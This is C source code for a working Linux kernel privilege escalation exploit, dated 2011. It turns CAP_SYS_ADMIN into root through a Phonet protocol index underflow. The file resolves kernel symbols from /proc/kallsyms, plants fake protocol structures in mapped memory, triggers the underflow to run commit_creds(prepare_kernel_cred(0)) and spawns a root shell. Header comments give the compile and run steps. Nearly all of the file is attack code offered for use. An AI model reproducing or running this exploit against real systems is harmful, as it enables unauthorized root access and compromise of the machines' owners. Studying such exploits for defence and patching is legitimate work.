/*
 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 *
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
 */
 
#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
 
// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
    int family;
    void  *buffer1[8];
    int (*ioctl)(void *, int, long);
    void  *buffer2[12];
};
 
struct phonet_protocol_skel {
    void    *ops;
    void    *prot;
    int sock_type; 
};
 
 
#ifdef __x86_64__
 
#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0
 
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
 
#else //32-bit
 
#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
 
#endif
 
 
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
 
int getroot(void * v, int i, long l)
{
    commit_creds(prepare_kernel_cred(0));
    return 0;     
}
 
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    int ret;
 
    char command[512];
 
    sprintf(command, "grep \"%s\" /proc/kallsyms", name);
 
    f = popen(command, "r");
 
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
 
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
 
        if (!strcmp(name, sname)) {
 
            fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
            pclose(f);
            return addr;
        }
    }
 
    pclose(f);
    return 0;
}
 
int main(int argc, char * argv[])
{
 
    int sock, proto;
    unsigned long proto_tab, low_kern_sym, pn_proto;
    void * map;
 
    /* Create a socket to load the module for symbol support */
    printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
    sock = socket(PF_PHONET, SOCK_DGRAM, 0);
 
    if(sock < 0) {
        if(errno == EPERM)
            printf("[*] You don't have CAP_SYS_ADMIN.\n");
 
        else
            printf("[*] Failed to open Phonet socket.\n");
 
        return -1;
    }
 
    close(sock);
 
    /* Resolve kernel symbols */
    printf("[*] Resolving kernel symbols...\n");
 
    proto_tab = get_kernel_sym("proto_tab");
    low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
    pn_proto =  get_kernel_sym("pn_proto");
    commit_creds = (void *) get_kernel_sym("commit_creds");
    prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
 
    if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
        printf("[*] Failed to resolve kernel symbols.\n");
        return -1;
    }
 
    if (low_kern_sym >= proto_tab) {
        printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
        return -1;
    }
 
 
    /* Map it */
    printf("[*] Preparing fake structures...\n");
 
    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     
 
    struct phonet_protocol_skel pps = {
            .ops = (void *) &fake_proto_ops2,
            .prot = (void *) pn_proto,
            .sock_type = SOCK_DGRAM,
    };
 
    printf("[*] Copying Structures.\n");
 
    map = mmap((void *) SYM_ADDRESS, 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    if(map == MAP_FAILED) {
        printf("[*] Failed to map landing area.\n");
        perror("mmap");
        return -1;
    }
 
     
    memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
 
    // Calculate Underflow
    proto = -((proto_tab - low_kern_sym) / sizeof(void *));
 
    printf("[*] Underflowing with offset %d\n", proto);
 
    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
 
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }
 
    printf("[*] Elevating privlidges...\n");
    ioctl(sock, 0, NULL);
 
 
    if(getuid()) {
        printf("[*] Exploit failed to get root.\n");
        return -1;
    }
 
    printf("[*] This was a triumph... I'm making a note here, huge success.\n");
    execl("/bin/sh", "/bin/sh", NULL);
 
    close(sock);
    munmap(map, 0x1000);
 
    return 0;
}
